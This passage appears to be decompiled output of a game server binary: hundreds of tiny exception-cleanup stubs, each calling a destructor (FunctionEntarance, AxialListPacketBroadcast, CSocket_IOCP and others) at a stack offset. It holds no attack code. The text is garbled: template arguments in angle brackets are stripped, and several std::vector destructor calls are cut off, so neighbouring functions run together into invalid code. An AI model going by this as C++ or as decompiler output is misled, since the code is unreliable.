AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00622DB0) -------------------------------------------------------- void __usercall _L183601(int a1) { LuaScriptArgument::LuaArgumentNPCMenu::_LuaArgumentNPCMenu((LuaScriptArgument::LuaArgumentNPCMenu *)(a1 - 36)); } //----- (00622DB8) -------------------------------------------------------- void __usercall _L183602(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 48)); } //----- (00622DD0) -------------------------------------------------------- void __usercall _L184341(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00622DF0) -------------------------------------------------------- void __usercall _L185129_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 224)); } //----- (00622E10) -------------------------------------------------------- void __usercall _L185228_1(int a1) { Observer::_Observer((Observer *)(a1 - 36)); } //----- (00622E18) -------------------------------------------------------- void __usercall _L185287_0(int a1) { IObserver::_IObserver((IObserver *)(a1 - 36)); } //----- (00622E30) -------------------------------------------------------- void __usercall _L187845(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (00622E50) -------------------------------------------------------- void __usercall _L189492(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (00622E70) -------------------------------------------------------- void __usercall _L189775(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00622E90) -------------------------------------------------------- void __usercall _L189819(int a1) { NormalAttackDamageDelay::NormalAttackDamageTick::_NormalAttackDamageTick(*(NormalAttackDamageDelay::NormalAttackDamageTick **)(a1 - 36)); } //----- (00622EB0) -------------------------------------------------------- void __usercall _L190082(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (00622ED0) -------------------------------------------------------- void __usercall _L177208(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 44)); } //----- (00622EF0) -------------------------------------------------------- void __usercall _L177509(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00622F10) -------------------------------------------------------- void __usercall _L182314(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 168)); } //----- (00622F1B) -------------------------------------------------------- void __usercall _L182315(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 164)); } //----- (00622F30) -------------------------------------------------------- void __usercall _L183062_0(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00622F50) -------------------------------------------------------- void __usercall _L183235(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (00622F70) -------------------------------------------------------- void __usercall _L183917(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00622F78) -------------------------------------------------------- void __usercall _L183918(int a1) { AxialListHideFromTarget::_AxialListHideFromTarget((AxialListHideFromTarget *)(a1 - 24)); } //----- (00622F90) -------------------------------------------------------- void __usercall _L184013(int a1) { AxialListNearScanRandomEnemy::_AxialListNearScanRandomEnemy((AxialListNearScanEnemyorAll *)(a1 - 1636)); } //----- (00622F9B) -------------------------------------------------------- void __usercall _L184014(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 1648)); } //----- (00622FB0) -------------------------------------------------------- void __usercall _L184598(int a1) { VectorClass::VectorWithLength::_VectorWithLength((VectorClass::VectorWithLength *)(*(_DWORD *)(a1 - 32) + 4)); } //----- (00622FD0) -------------------------------------------------------- void __usercall _L184713(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00622FD8) -------------------------------------------------------- void __usercall _L184714(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00622FE0) -------------------------------------------------------- void __usercall _L184715(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00623000) -------------------------------------------------------- void __usercall _L185457(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 44)); } //----- (00623008) -------------------------------------------------------- void __usercall _L185458_0(int a1) { VectorClass::VectorWithLength::_VectorWithLength((VectorClass::VectorWithLength *)(a1 - 28)); } //----- (00623010) -------------------------------------------------------- void __usercall _L185459_0(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 40)); } //----- (00623030) -------------------------------------------------------- void __usercall _L185659(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00623038) -------------------------------------------------------- void __usercall _L185660(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00623050) -------------------------------------------------------- void __usercall _L185943(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 76)); } //----- (00623058) -------------------------------------------------------- void __usercall _L185944(int a1) { VectorClass::VectorWithLength::_VectorWithLength((VectorClass::VectorWithLength *)(a1 - 28)); } //----- (00623060) -------------------------------------------------------- void __usercall _L185945(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 40)); } //----- (00623080) -------------------------------------------------------- void __usercall _L188608(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (006230A0) -------------------------------------------------------- void __usercall _L189219(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (006230C0) -------------------------------------------------------- void __usercall _L190717(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 1632)); } //----- (006230CB) -------------------------------------------------------- void __usercall _L190718(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { AxialListMagicFieldAggro::_AxialListMagicFieldAggro((AxialListMagicFieldAggro *)(a1 - 1628)); } //----- (006230F0) -------------------------------------------------------- void __usercall _L190987(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (006230F8) -------------------------------------------------------- void __usercall _L190988(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00623130) -------------------------------------------------------- void __usercall _L192956(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (00623150) -------------------------------------------------------- void __usercall _L193018_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 304)); } //----- (0062315B) -------------------------------------------------------- void __usercall _L193019_0(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 164)); } //----- (00623166) -------------------------------------------------------- void __usercall _L193020(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 96)); } //----- (006231D8) -------------------------------------------------------- void __usercall _L194490(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 68)); } //----- (00623200) -------------------------------------------------------- void __usercall _L194929(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (00623208) -------------------------------------------------------- void __usercall _L194930(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00623220) -------------------------------------------------------- void __usercall _L195056(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 92)); } //----- (00623228) -------------------------------------------------------- void __usercall _L195057(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 80)); } //----- (00623230) -------------------------------------------------------- void __usercall _L195058(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 68)); } //----- (00623250) -------------------------------------------------------- void __usercall _L195204(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 64)); } //----- (00623258) -------------------------------------------------------- void __usercall _L195206(int a1) { FanFormSectorArgument::_FanFormSectorArgument((FanFormSectorArgument *)(a1 - 60)); } //----- (00623260) -------------------------------------------------------- void __usercall _L195205(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (006232A0) -------------------------------------------------------- void __usercall _L165695(int a1) { BinaryDataBox::_BinaryDataBox(*(MobResistTable **)(a1 - 16)); } //----- (006232A8) -------------------------------------------------------- void __usercall _L165696(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(*(_DWORD *)(a1 - 16) + 728)); } //----- (006232B6) -------------------------------------------------------- void __usercall _L165697(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(*(_DWORD *)(a1 - 16) + 868)); } //----- (006232C4) -------------------------------------------------------- void __usercall _L165698(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(*(_DWORD *)(a1 - 16) + 1000)); } //----- (006232E0) -------------------------------------------------------- void __usercall _L165839_0(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(*(_DWORD *)(a1 - 16) + 4)); } //----- (00623300) -------------------------------------------------------- void __usercall _L167908(int a1) { SkillDataBox::__unnamed::___unnamed(*(BinaryData **)(a1 - 16)); } //----- (00623320) -------------------------------------------------------- void __usercall _L169878(int a1) { operator delete__(*(void **)(a1 - 2076)); } //----- (00623340) -------------------------------------------------------- void __usercall _L175345(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00623360) -------------------------------------------------------- void __usercall _L175680(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00623380) -------------------------------------------------------- void __usercall _L176024(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (006233A0) -------------------------------------------------------- void __usercall _L176283(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (006233A8) -------------------------------------------------------- void __usercall _L176284(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (006233C0) -------------------------------------------------------- void __usercall _L176577_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (006233E0) -------------------------------------------------------- void __usercall _L176701_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00623400) -------------------------------------------------------- void __usercall _L61389(int a1) { BinaryDataBox::_BinaryDataBox(*(MobResistTable **)(a1 - 16)); } //----- (00623420) -------------------------------------------------------- void __usercall _L176214(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 48)); } //----- (00623428) -------------------------------------------------------- void __usercall _L176215(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 32)); } //----- (00623440) -------------------------------------------------------- void __usercall _L176314(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 132)); } //----- (00623460) -------------------------------------------------------- void __usercall _L176503_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 140)); } //----- (00623480) -------------------------------------------------------- void __usercall _L176603(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 124)); } //----- (006234A0) -------------------------------------------------------- void __usercall _L163961(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (006234C0) -------------------------------------------------------- void __usercall _L176450(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (006234E0) -------------------------------------------------------- void __usercall _L178812(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 52)); } //----- (00623500) -------------------------------------------------------- void __usercall _L179265(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00623508) -------------------------------------------------------- void __usercall _L179267(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00623520) -------------------------------------------------------- void __usercall _L179345(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 44)); } //----- (00623528) -------------------------------------------------------- void __usercall _L179347(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00623540) -------------------------------------------------------- void __usercall _L179652(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00623560) -------------------------------------------------------- void __usercall _L175951(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00623580) -------------------------------------------------------- void __usercall _L176210(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 252)); } //----- (006235A0) -------------------------------------------------------- void __usercall _L176362(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 108)); } //----- (006235A8) -------------------------------------------------------- void __usercall _L176363(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 32)); } //----- (006235B0) -------------------------------------------------------- void __usercall _L176364(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 48)); } //----- (006235D0) -------------------------------------------------------- void __usercall _L175939(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 44)); } //----- (006235D8) -------------------------------------------------------- void __usercall _L175940(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 28)); } //----- (006235F0) -------------------------------------------------------- void __usercall _L176137(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 252)); } //----- (00623610) -------------------------------------------------------- void __usercall _L176308(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 252)); } //----- (0062361B) -------------------------------------------------------- void __usercall _L176309(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 280)); } //----- (00623630) -------------------------------------------------------- void __usercall _L176528(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00623650) -------------------------------------------------------- void __usercall _L176559(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 60)); } //----- (00623658) -------------------------------------------------------- void __usercall _L176560(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 32)); } //----- (00623670) -------------------------------------------------------- void __usercall _L166613(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (00623690) -------------------------------------------------------- void __usercall _L15700(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 72)); } //----- (00623698) -------------------------------------------------------- void __usercall _L15701(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 44)); } //----- (006236B0) -------------------------------------------------------- void __usercall _L176360(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (006236B8) -------------------------------------------------------- void __usercall _L176361(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (006236D0) -------------------------------------------------------- void __usercall _L176433(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (006236F0) -------------------------------------------------------- void __usercall _L176442(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00623710) -------------------------------------------------------- void __usercall _L176483(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 72)); } //----- (00623720) -------------------------------------------------------- void __usercall _L176485(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 44)); } //----- (00623740) -------------------------------------------------------- void __usercall _L177015(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 76)); } //----- (00623760) -------------------------------------------------------- void __usercall _L164523(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00623780) -------------------------------------------------------- void __usercall _L164575(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (006237A0) -------------------------------------------------------- void __usercall _L165791(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (006237C0) -------------------------------------------------------- void __usercall _L165837(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (006237E0) -------------------------------------------------------- void __usercall _L169294(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00623800) -------------------------------------------------------- void __usercall _L74270(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00623820) -------------------------------------------------------- unsigned int __cdecl _L181382() { unsigned int result; // eax@1 result = _S118_0 & 0xFFFFFFFE; _S118_0 &= 0xFFFFFFFEu; return result; } //----- (00623840) -------------------------------------------------------- void __usercall _L182315_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 68)); } //----- (00623848) -------------------------------------------------------- void __usercall _L182316(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 88)); } //----- (00623850) -------------------------------------------------------- void __usercall _L182317(int a1) { ChargedItemEffectList::ChargedEffectListRouter::_ChargedEffectListRouter((ChargedItemEffectList::ChargedEffectListRouter *)(a1 - 64)); } //----- (00623870) -------------------------------------------------------- void __usercall _L183097(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00623878) -------------------------------------------------------- void __usercall _L183098(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 20)); } //----- (00623890) -------------------------------------------------------- void __usercall _L183254(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 48)); } //----- (00623898) -------------------------------------------------------- void __usercall _L183255(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 32)); } //----- (006238B0) -------------------------------------------------------- void __usercall _L183469(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 184)); } //----- (006238BB) -------------------------------------------------------- void __usercall _L183470(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 144)); } //----- (006238D0) -------------------------------------------------------- void __usercall _L184154(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (006238D8) -------------------------------------------------------- void __usercall _L184155(int a1) { AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)(a1 - 20)); } //----- (006238F0) -------------------------------------------------------- void __usercall _L184183(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 124)); } //----- (00623910) -------------------------------------------------------- void __usercall _L184498(int a1) { AxialListNearScanNPC::_AxialListNearScanNPC((AxialListNearScanNPC *)(a1 - 1624)); } //----- (00623930) -------------------------------------------------------- void __usercall _L184603(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 1276)); } //----- (00623950) -------------------------------------------------------- void __usercall _L184945_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 168)); } //----- (0062395B) -------------------------------------------------------- void __usercall _L184946_0(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 144)); } //----- (00623970) -------------------------------------------------------- void __usercall _L185456(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 132)); } //----- (00623990) -------------------------------------------------------- void __usercall _L185961(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 332)); } //----- (006239B0) -------------------------------------------------------- void __usercall _L188411(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (006239D0) -------------------------------------------------------- void __usercall _L176339_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 252)); } //----- (006239F0) -------------------------------------------------------- void __usercall _L176555(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 136)); } //----- (00623A10) -------------------------------------------------------- void __usercall _L176680(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00623A30) -------------------------------------------------------- void __usercall _L178879(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 124)); } //----- (00623A50) -------------------------------------------------------- void __usercall _L180524_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (00623A70) -------------------------------------------------------- void __usercall _L180598(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (00623A90) -------------------------------------------------------- void __usercall _L180740(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 696)); } //----- (00623A9B) -------------------------------------------------------- void __usercall _L180741(int a1) { FieldMap::_FieldMap(a1 - 440); } //----- (00623AB0) -------------------------------------------------------- void __usercall _L180856(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 560)); } //----- (00623ABB) -------------------------------------------------------- void __usercall _L180857_0(int a1) { FieldMap::_FieldMap(a1 - 440); } //----- (00623AD0) -------------------------------------------------------- void __usercall _L181003(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00623AF0) -------------------------------------------------------- void __usercall _L177274(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 84)); } //----- (00623B10) -------------------------------------------------------- void __usercall _L178254(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (00623B30) -------------------------------------------------------- void __usercall _L178883(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 60)); } //----- (00623B50) -------------------------------------------------------- void __usercall _L179233(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 48)); } //----- (00623B70) -------------------------------------------------------- void __usercall _L179527(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00623B90) -------------------------------------------------------- void __usercall _L179555(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 124)); } //----- (00623BB0) -------------------------------------------------------- void __usercall _L179652_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (00623BD0) -------------------------------------------------------- void __usercall _L179704(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 52)); } //----- (00623BF0) -------------------------------------------------------- void __usercall _L174765(int a1) { CSocket_IOCP::_CSocket_IOCP((CSocket_IOCP *)(*(_DWORD *)(a1 - 16) + 44)); } //----- (00623C10) -------------------------------------------------------- void __usercall _L174850(int a1) { CSocket_IOCP::_CSocket_IOCP((CSocket_IOCP *)(*(_DWORD *)(a1 - 16) + 44)); } //----- (00623C1B) -------------------------------------------------------- void __usercall _L174851(int a1) { CPacket::_CPacket((CPacket *)(*(_DWORD *)(a1 - 16) + 224)); } //----- (00623C40) -------------------------------------------------------- void __usercall _L176704(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut(*(DiceTaiSaiDividind **)(a1 - 364)); } //----- (00623C60) -------------------------------------------------------- void __usercall _L177259_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 72)); } //----- (00623C80) -------------------------------------------------------- void __usercall _L177677(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 160)); } //----- (00623CA0) -------------------------------------------------------- void __usercall _L178118(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 148)); } //----- (00623CC0) -------------------------------------------------------- void __usercall _L178186(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00623CC8) -------------------------------------------------------- void __usercall _L178187(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut(*(DiceTaiSaiDividind **)(a1 - 28)); } //----- (00623CE0) -------------------------------------------------------- void __usercall _L178328(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 340)); } //----- (00623D00) -------------------------------------------------------- void __usercall _L178644(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 276)); } //----- (00623D0B) -------------------------------------------------------- void __usercall _L178645(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (00623D20) -------------------------------------------------------- void __usercall _L178881(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00623D40) -------------------------------------------------------- void __usercall _L178942(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 136)); } //----- (00623D4B) -------------------------------------------------------- void __usercall _L178943_0(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut(*(DiceTaiSaiDividind **)(a1 - 140)); } //----- (00623D80) -------------------------------------------------------- void __usercall _L187241(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00623DA0) -------------------------------------------------------- void __usercall _L188031(int a1) { ZoneServer::__unnamed::___unnamed((CCsl *)(*(_DWORD *)(a1 - 16) + 64)); } //----- (00623DAB) -------------------------------------------------------- void __usercall _L188032(int a1) { CIOCP::_CIOCP((CIOCP *)(*(_DWORD *)(a1 - 16) + 1404)); } //----- (00623DB9) -------------------------------------------------------- void __usercall _L188033(int a1) { CSocket_Acceptor::_CSocket_Acceptor((CSocket_Acceptor *)(*(_DWORD *)(a1 - 16) + 1452)); } //----- (00623DE0) -------------------------------------------------------- void __usercall _L187439(int a1) { String::_String((String *)(a1 - 1196)); } //----- (00623DEB) -------------------------------------------------------- void __usercall _L187440(int a1) { String::_String((String *)(a1 - 1148)); } //----- (00623DF6) -------------------------------------------------------- void __usercall _L187441(int a1) { _eh_vector_destructor_iterator_((void *)(a1 - 1128), 0x10u, 5, (void (__thiscall *)(void *))String::_String); } //----- (00623E0C) -------------------------------------------------------- void __usercall _L187442(int a1) { String::_String(*(String **)(a1 - 1132)); } //----- (00623E17) -------------------------------------------------------- void __usercall _L187443(int a1) { String::_String(*(String **)(a1 - 1152)); } //----- (00623E30) -------------------------------------------------------- void __usercall _L188057_0(int a1) { String::_String(*(String **)(a1 - 1056)); } //----- (00623E50) -------------------------------------------------------- void __usercall _L188123_0(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 112)); } //----- (00623E70) -------------------------------------------------------- void __usercall _L189064(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00623E78) -------------------------------------------------------- void __usercall _L189065(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 24)); } //----- (00623E90) -------------------------------------------------------- void __usercall _L190402(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (00623EB0) -------------------------------------------------------- void __usercall _L208370(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (00623ED0) -------------------------------------------------------- void __usercall _L209840(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (00623EF0) -------------------------------------------------------- void __usercall _L209942(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00623F10) -------------------------------------------------------- void __usercall _L210950(int a1) { CDataReader::_CDataReader((CDataReader *)(*(_DWORD *)(a1 - 16) + 4)); } //----- (00623F30) -------------------------------------------------------- void __usercall _L212617(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00623F50) -------------------------------------------------------- void __usercall _L215235(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (00623F58) -------------------------------------------------------- void __usercall _L215236(int a1) { operator delete__(*(void **)(a1 + 4)); } //----- (00623F70) -------------------------------------------------------- void __usercall _L215261(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 304)); } 